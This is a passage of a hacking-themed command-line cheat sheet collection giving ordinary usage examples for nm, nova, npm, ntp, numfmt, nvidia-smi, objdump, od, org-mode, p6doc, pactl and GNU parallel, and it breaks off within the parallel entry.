▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗███╗   ███╗
#                ████╗  ██║████╗ ████║
#                ██╔██╗ ██║██╔████╔██║
#                ██║╚██╗██║██║╚██╔╝██║
#                ██║ ╚████║██║ ╚═╝ ██║
#                ╚═╝  ╚═══╝╚═╝     ╚═╝
                                     
                                     
                                    
# List symbol names in object files
# The nm command is used to display symbols from object files.

# Demangle C++ symbols (make them readable):
nm --demangle file.o

# Display object files that refer to a symbol
nm  -A ./*.o | grep func

# Display all undefined symbols in a file
nm -u executable

# List all symbols, even debugging symbols:
nm -a executable

# Display all symbols in executable
# (sorted in order of their addresses)
nm -n executable

# Search for a symbols and display its size
nm  -S 1 | grep abc

# Display dynamic symbols in executable
nm -D executable

# Change the format of the nm output
# (display the output of nm command in posix style)
nm -u -f posix executable

# Display only the external symbols of executable
nm -g executable

# Sort the nm output by the symbol size
nm -g --size-sort executable

# Specify nm options in a file
nm @nm_file

nm test
0804a020 B __bss_start
0804841d T compare
0804a020 b completed.6591
0804a018 D __data_start
0804a018 W data_start
08048360 t deregister_tm_clones
080483d0 t __do_global_dtors_aux
08049f0c t __do_global_dtors_aux_fini_array_entry
0804a01c D __dso_handle
08049f14 d _DYNAMIC
0804a020 D _edata
0804a024 B _end
080484e4 T _fini
080484f8 R _fp_hw
080483f0 t frame_dummy
...
...
...

#==============================##==============================#
# CMD NM						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

105 - 🖥️nova

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nova command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗ ██████╗ ██╗   ██╗ █████╗ 
#                ████╗  ██║██╔═══██╗██║   ██║██╔══██╗
#                ██╔██╗ ██║██║   ██║██║   ██║███████║
#                ██║╚██╗██║██║   ██║╚██╗ ██╔╝██╔══██║
#                ██║ ╚████║╚██████╔╝ ╚████╔╝ ██║  ██║
#                ╚═╝  ╚═══╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═╝
                                                    
                                                    
# To list VMs on current tenant:
nova list

# To list VMs of all tenants (admin user only):
nova list --all-tenants

# To boot a VM on a specific host:
nova boot --nic net-id=<net_id> \
          --image <image_id> \
          --flavor <flavor> \
          --availability-zone nova:<host_name> <vm_name>

# To stop a server
nova stop <server>

# To start a server
nova start <server>

# To attach a network interface to a specific VM:
nova interface-attach --net-id <net_id> <server>

#==============================##==============================#
# CMD NOVA						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

106 - 🖥️npm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the npm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗██████╗ ███╗   ███╗
#                ████╗  ██║██╔══██╗████╗ ████║
#                ██╔██╗ ██║██████╔╝██╔████╔██║
#                ██║╚██╗██║██╔═══╝ ██║╚██╔╝██║
#                ██║ ╚████║██║     ██║ ╚═╝ ██║
#                ╚═╝  ╚═══╝╚═╝     ╚═╝     ╚═╝
                                             
                                            
# Every command shown here can be used with the `-g` switch for global scope

# Install a package in the current directory
npm install <package>

# Install a package, and save it in the `dependencies` section of `package.json`
npm install --save <package>

# Install a package, and save it in the `devDependencies` section of `package.json`
npm install --save-dev <package>

# Show outdated packages in the current directory
npm outdated

# Update outdated packages
npm update

# Update `npm` (will override the one shipped with Node.js)
npm install -g npm

# Uninstall a package
npm uninstall <package>

# List all global top level modles, then remove ALL npm packages with xargs
npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm

#==============================##==============================#
# CMD NPM						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

107 - 🖥️ntp

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ntp command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗████████╗██████╗ 
#                ████╗  ██║╚══██╔══╝██╔══██╗
#                ██╔██╗ ██║   ██║   ██████╔╝
#                ██║╚██╗██║   ██║   ██╔═══╝ 
#                ██║ ╚████║   ██║   ██║     
#                ╚═╝  ╚═══╝   ╚═╝   ╚═╝     
                

                                          
# alias für offset:
alias ntpsync='service ntp stop ; ntpd -g -q ; service ntp start'

# Verify ntpd running:
service ntp status

# Start ntpd if not running:
service ntp start

# Display current hardware clock value:
sudo hwclock -r

# Apply system time to hardware time:
sudo hwclock --systohc

# Apply hardware time to system time:
sudo hwclock --hctosys

# Set hwclock to local time:
sudo hwclock --localtime

# Set hwclock to UTC:
sudo hwclock --utc

# Set hwclock manually:
sudo hwclock --set --date="8/10/15 13:10:05"

# Query surrounding stratum time servers
ntpq -pn

# Config file:
/etc/ntp.conf

# Driftfile:
location of "drift" of your system clock compared to ntp servers /var/lib/ntp/ntp.drift

#-------------------------------------------------#

# Vorgehensweise bei ntp offset
#--------------------------------#

service ntp stop
ntpd -g -q			
# Die Option -g bedeutet, dass ntpd auch synchronisiert, wenn die Zeit mehr als 1000 Sekunden abweicht. Die Option -q bedeutet, dass ntpd nur einmal ausgeführt wird.
service ntp start

hwclock --systohc
# die Uhr in die Hardwareclock schreiben, denn sonst kommt der Server eventuell nach einem Boot mit einer völlig falschen Zeit hoch.

# Verify ntpd running:
service ntp status

# Start ntpd if not running:
service ntp start

# Display current hardware clock value:
sudo hwclock -r

# Apply system time to hardware time:
sudo hwclock --systohc

# Apply hardware time to system time:
sudo hwclock --hctosys

# Set hwclock to local time:
sudo hwclock --localtime

# Set hwclock to UTC:
sudo hwclock --utc

# Set hwclock manually:
sudo hwclock --set --date="8/10/15 13:10:05"

# Query surrounding stratum time servers
ntpq -pn

# Config file:
/etc/ntp.conf

# Driftfile:
location of "drift" of your system clock compared to ntp servers
/var/lib/ntp/ntp.drift

# example config
tinker panic 0
server ntptime.lxu.io burst iburst
driftfile /var/lib/ntp/drift/ntp.drift
logfile /var/log/ntp

##############################################

# BASH script to synchronize with NTP server - This is a simple script (can be safely placed in a cron) to sync your machine with the default NTP server            
##############
service ntpd stop
ntpdate 156.54.18.6  // replace 156.54.18.6 with correct server IP address
ntpdate 156.54.18.6
ntpdate 156.54.18.6
ntpdate 156.54.18.6
service ntpd start
chkconfig ntpd on
##############

#==============================##==============================#
# CMD NTP						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

108 - 🖥️numfmt

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the numfmt command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ██╗██╗   ██╗███╗   ███╗███████╗███╗   ███╗████████╗
#                ████╗  ██║██║   ██║████╗ ████║██╔════╝████╗ ████║╚══██╔══╝
#                ██╔██╗ ██║██║   ██║██╔████╔██║█████╗  ██╔████╔██║   ██║   
#                ██║╚██╗██║██║   ██║██║╚██╔╝██║██╔══╝  ██║╚██╔╝██║   ██║   
#                ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║     ██║ ╚═╝ ██║   ██║   
#                ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚═╝     ╚═╝   ╚═╝   
                                                                          
                

# Convert bytes to Human readable format
numfmt --to=iec --suffix=B --padding=7 1048576

numfmt --to=iec $[$(du -s /home/*/docs | cut -f 1 | paste -sd+)]
# Summing up numeric values using bash. For example to add up the disk usage at several disjoint locations. The $[..] is for arithmetic evaluation in bash. Alternatively pipe to the bc command.

#==============================##==============================#
# CMD NUMFMT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

109 - 🖥️nvidia-smi

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nvidia-smi command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ██╗██╗   ██╗██╗██████╗ ██╗ █████╗       ███████╗███╗   ███╗██╗
#  ████╗  ██║██║   ██║██║██╔══██╗██║██╔══██╗      ██╔════╝████╗ ████║██║
#  ██╔██╗ ██║██║   ██║██║██║  ██║██║███████║█████╗███████╗██╔████╔██║██║
#  ██║╚██╗██║╚██╗ ██╔╝██║██║  ██║██║██╔══██║╚════╝╚════██║██║╚██╔╝██║██║
#  ██║ ╚████║ ╚████╔╝ ██║██████╔╝██║██║  ██║      ███████║██║ ╚═╝ ██║██║
#  ╚═╝  ╚═══╝  ╚═══╝  ╚═╝╚═════╝ ╚═╝╚═╝  ╚═╝      ╚══════╝╚═╝     ╚═╝╚═╝

# list all available NVIDIA devices
nvidia-smi -L

# list certain details about each GPU
nvidia-smi --query-gpu=index,name,uuid,serial --format=csv

# list GPU details
nvidia-smi -i 0 -q

# show system topology
nvidia-smi topo --matrix
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

110 - 🖥️objdump

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the objdump command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██████╗      ██╗██████╗ ██╗   ██╗███╗   ███╗██████╗ 
#  ██╔═══██╗██╔══██╗     ██║██╔══██╗██║   ██║████╗ ████║██╔══██╗
#  ██║   ██║██████╔╝     ██║██║  ██║██║   ██║██╔████╔██║██████╔╝
#  ██║   ██║██╔══██╗██   ██║██║  ██║██║   ██║██║╚██╔╝██║██╔═══╝ 
#  ╚██████╔╝██████╔╝╚█████╔╝██████╔╝╚██████╔╝██║ ╚═╝ ██║██║     
#   ╚═════╝ ╚═════╝  ╚════╝ ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝

# objdump 
# program for displaying various information about object files

# Display the contents of the overall file header
objdump -f executable

# Display object format specific file header contents
objdump -p executable

# Display the contents of the section headers
objdump -h executable

# Display assembler contents of executable sections
objdump -d executable

# Display assembler contents of all sections
objdump -D executable

# Display the full contents of all sections
objdump -s executable

# Display all the header information
objdump -x executable

# Display debug information
objdump -g executable

# Display the contents of symbol table (or tables)
objdump -t executable

# Display the contents of dynamic symbol table
# Dynamic symbols are those which are resolved during run time
objdump -T executable

# Display the dynamic relocation entries in the file
objdump -R executable

# Display section of interest
# (extremely useful when you know the section related
# to which the information is required)
objdump -s -j.rodata executable

# Use the older disassembly format
objdump  -D --prefix-addresses executable

# Execute the objdump by calling the options.txt file
objdump @options.txt
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

111 - 🖥️od

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the od command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗ ██████╗ 
#                ██╔═══██╗██╔══██╗
#                ██║   ██║██║  ██║
#                ██║   ██║██║  ██║
#                ╚██████╔╝██████╔╝
#                 ╚═════╝ ╚═════╝ 
                                 
                                 
# Dump file in octal format
od /path/to/binaryfile
od -o /path/to/binaryfile
od -t o2 /path/to/binaryfile

# Dump file in hexadecimal format
od -x /path/to/binaryfile
od -t x2 /path/to/binaryfile

# Dump file in hexadecimal format, with hexadecimal offsets and a space between each byte
od -A x -t x1 /path/to/binaryfile

od -x <file>
# Hexadecimal dump of a file

#==============================##==============================#
# CMD OD						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

112 - 🖥️org-mode

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the org-mode command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗ ██████╗  ██████╗       ███╗   ███╗ ██████╗ ██████╗ ███████╗
#                ██╔═══██╗██╔══██╗██╔════╝       ████╗ ████║██╔═══██╗██╔══██╗██╔════╝
#                ██║   ██║██████╔╝██║  ███╗█████╗██╔████╔██║██║   ██║██║  ██║█████╗  
#                ██║   ██║██╔══██╗██║   ██║╚════╝██║╚██╔╝██║██║   ██║██║  ██║██╔══╝  
#                ╚██████╔╝██║  ██║╚██████╔╝      ██║ ╚═╝ ██║╚██████╔╝██████╔╝███████╗
#                 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝       ╚═╝     ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
                 

                                                                                   
  Begin org-mode                               ALT-x org-mode
  Save                                         CTRL-x CTRL-s
  Export in other file formats (eg HTML,PDF)   CTRL-c CTRL-e

# Outline

  Section heading                              *
  New headline                                 ALT-return
  Move headline up or down                     ALT-up_arrow/down_arrow
  Adjust indent depth of headline              ALT-left_arrow/right_arrow
  Open/collapse section                        TAB
  Open/collapse All                            CTRL-TAB

# To-Do Lists

  Mark list item as TODO                       ** TODO
  Cycle through workflow                       SHIFT-left_arrow/right_arrow
  Show only outstanding TODO                   items CTRL-c CTRL-v

# Tables

  Table column separator                       Vertical/pipe character
  Reorganize table                             TAB
  Move column                                  ALT-left_arrow/right_arrow
  Move row                                     ALT-up_arrow/down_arrow

# Styles

  *bold*
  /italic/
  _underlined_
  =code=
  ~verbatim~
  +strike-through+

# Heading

  Header         -*- mode: org -*-

# .emacs

  To make org-mode automatically wrap lines:

    (add-hook 'org-mode-hook
              '(lambda ()
                 (visual-line-mode 1)))

			
#==============================##==============================#
# CMD ORG-MODE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

113 - 🖥️p6doc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the p6doc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  ██████╗ ██████╗  ██████╗  ██████╗
#  ██╔══██╗██╔════╝ ██╔══██╗██╔═══██╗██╔════╝
#  ██████╔╝███████╗ ██║  ██║██║   ██║██║     
#  ██╔═══╝ ██╔═══██╗██║  ██║██║   ██║██║     
#  ██║     ╚██████╔╝██████╔╝╚██████╔╝╚██████╗
#  ╚═╝      ╚═════╝ ╚═════╝  ╚═════╝  ╚═════╝

# p6doc
# Perl 6 documentation

# Build index
p6doc build

# to get information about the function
p6doc -f slurp

# if the function name is ambiguous use it with the class name
p6doc -f Type::IO.slurp
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

114 - 🖥️pactl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pactl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  █████╗  ██████╗████████╗██╗     
#  ██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██║     
#  ██████╔╝███████║██║        ██║   ██║     
#  ██╔═══╝ ██╔══██║██║        ██║   ██║     
#  ██║     ██║  ██║╚██████╗   ██║   ███████╗
#  ╚═╝     ╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚══════╝

# PulseAudio: set the volume via command line
# If you have more than one SINK
pactl set-sink-volume @DEFAULT_SINK@ +5%
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

115 - 🖥️parallel

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the parallel command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗  █████╗ ██████╗  █████╗ ██╗     ██╗     ███████╗██╗     
#                ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║     ██║     ██╔════╝██║     
#                ██████╔╝███████║██████╔╝███████║██║     ██║     █████╗  ██║     
#                ██╔═══╝ ██╔══██║██╔══██╗██╔══██║██║     ██║     ██╔══╝  ██║     
#                ██║     ██║  ██║██║  ██║██║  ██║███████╗███████╗███████╗███████╗
#                ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝
                                                                                
                                                                                
                                                                                

parallel --tag echo '$(du -s {} | awk "{print \$1}") / $(find {} | wc -l)' \| bc -l ::: *
# Compute the average number of KB per file for each dir -> Shorter version using --tag

# Parallel Apache Benchmark -> (echo "https://example.com/"; echo "https://example.com/"; echo "https://example.com/"; echo "https://example.com/") | parallel -k 'ab -n 10000 -c 15 {}'
cat url_list.txt | parallel -k 'ab -n 10000 -c 15 {}'

# Converts all pngs in a folder to webp using all available cores
# As an alternative to the above command, this one ditches the unnecessary and complicated for loop in favor of a way faster multi-core approach for a task that's more CPU than I/O intensive, making it a perfect suite for GNU parallel
parallel cwebp -q 80 {} -o {.}.webp ::: *.png

# Clock
parallel -q convert -size 300x300 xc:black -stroke green -draw '{= sub l{ ($r,$v)=@_; $v*=atan2(1,0)*4/360; "line 150,150 ".int(150-$r*sin($v)).",".int(150+$r*cos($v)).";"} $_=l(25,$_/2+180).l(50,$_%60*6+180) =}' C{}.gif ::: {000..720}; convert C*gif clock.gif

# Tweetsized colorized
parallel eval convert -size 300x300 xc:black '{=sub l{($c,$r,$v)=@_;$v*=atan2(1,0);"-stroke $c -draw \"line 150,150 ".(150-$r*sin$v).",".(150+$r*cos$v).";\" "}$_=l("red",50,$_/180+2).l("green",100,$_%60/15+2)=}' C{}.gif ::: {000..719};convert C*gif clock.gif

# Shorter, faster radar (does not require numround)
